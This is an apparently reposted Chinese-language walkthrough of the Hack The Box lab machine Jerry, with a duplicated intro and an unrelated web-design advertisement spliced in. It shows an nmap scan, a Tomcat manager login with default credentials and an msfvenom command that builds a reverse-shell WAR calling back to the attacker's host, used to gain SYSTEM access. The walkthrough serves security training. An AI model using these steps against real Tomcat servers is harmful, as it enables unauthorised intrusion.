本篇內(nèi)容主要講解“HTB的Jerry滲透測試是什么”，感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷，實用性強。下面就讓小編來帶大家學(xué)習(xí)“HTB的Jerry滲透測試是什么”吧!

本篇內(nèi)容主要講解“HTB的Jerry滲透測試是什么”，感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷，實用性強。下面就讓小編來帶大家學(xué)習(xí)“HTB的Jerry滲透測試是什么”吧!

基礎(chǔ)信息
簡介：Hack The Box是一個在線滲透測試平臺?？梢詭椭闾嵘凉B透測試技能和黑盒測試技能，平臺環(huán)境都是模擬的真實環(huán)境，有助于自己更好的適應(yīng)在真實環(huán)境的滲透
鏈接：https://www.hackthebox.eu/home/machines/profile/144

成都創(chuàng)新互聯(lián)公司服務(wù)項目包括石獅網(wǎng)站建設(shè)、石獅網(wǎng)站制作、石獅網(wǎng)頁制作以及石獅網(wǎng)絡(luò)營銷策劃等。多年來，我們專注于互聯(lián)網(wǎng)行業(yè)，利用自身積累的技術(shù)優(yōu)勢、行業(yè)經(jīng)驗、深度合作伙伴關(guān)系等，向廣大中小型企業(yè)、政府機構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案，石獅網(wǎng)站推廣取得了明顯的社會效益與經(jīng)濟效益。目前，我們服務(wù)的客戶以成都為中心已經(jīng)輻射到石獅省份的部分城市，未來相信會繼續(xù)擴大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任！

描述：

前言

本次演練使用kali系統(tǒng)按照滲透測試的過程進(jìn)行操作，通過nmap發(fā)現(xiàn)端口開放了tomcat8080端口,使用密碼登錄tomcat，使用msfvenom 生成war文件上傳到tomcat中，通過反彈獲取shell。

一、信息收集1、靶機ip

IP地址為：10.10.10.95

2、靶機端口與服務(wù)nmap -sV -sS -T4 -O -A 10.10.10.95PORT     STATE SERVICE VERSION8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1|_http-server-header: Apache-Coyote/1.1|_http-title: Apache Tomcat/7.0.883、網(wǎng)站信息收集

查看8080端口

通過dirsearch進(jìn)行目錄掃描獲取網(wǎng)站目錄

這里我列出了部分需要的目錄

/host-manager/html/manager/html/manager/二、漏洞探測與利用1、生成木馬文件

進(jìn)入/host-manager/html目錄發(fā)現(xiàn)需要賬號密碼

點擊取消后，再返回界面發(fā)現(xiàn)賬號與密碼
username="tomcat"
password="s3cret"

使用該密碼進(jìn)行登錄，返回403頁面無法正常進(jìn)行登錄

最后在/manager/目錄下成功登錄
發(fā)現(xiàn)可以上傳war格式文件

使用msfvenom生成shell文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f war > shell.war2、使用msf獲取shell

首先設(shè)置好msf，使用msf監(jiān)聽4444端口獲取反彈的shell

在登陸頁面上傳war文件

上傳成功后點擊shell

成功獲取到shell

三、提權(quán)

使用這種方式所獲取的直接是authority權(quán)限可直接查看root.txt

進(jìn)入 \Users\Administrator\Desktop目錄發(fā)現(xiàn)沒有root.txt但是存在flags
進(jìn)入flags目錄使用type命令查看2 for the price of 1.txt文件

獲取到root.txt與user.txt

網(wǎng)站題目：HTB的Jerry滲透測試是什么
標(biāo)題來源：http://chinadenli.net/article6/iojoig.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供建站公司、響應(yīng)式網(wǎng)站、用戶體驗、網(wǎng)站制作、云服務(wù)器、Google

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時需注明來源： 創(chuàng)新互聯(lián)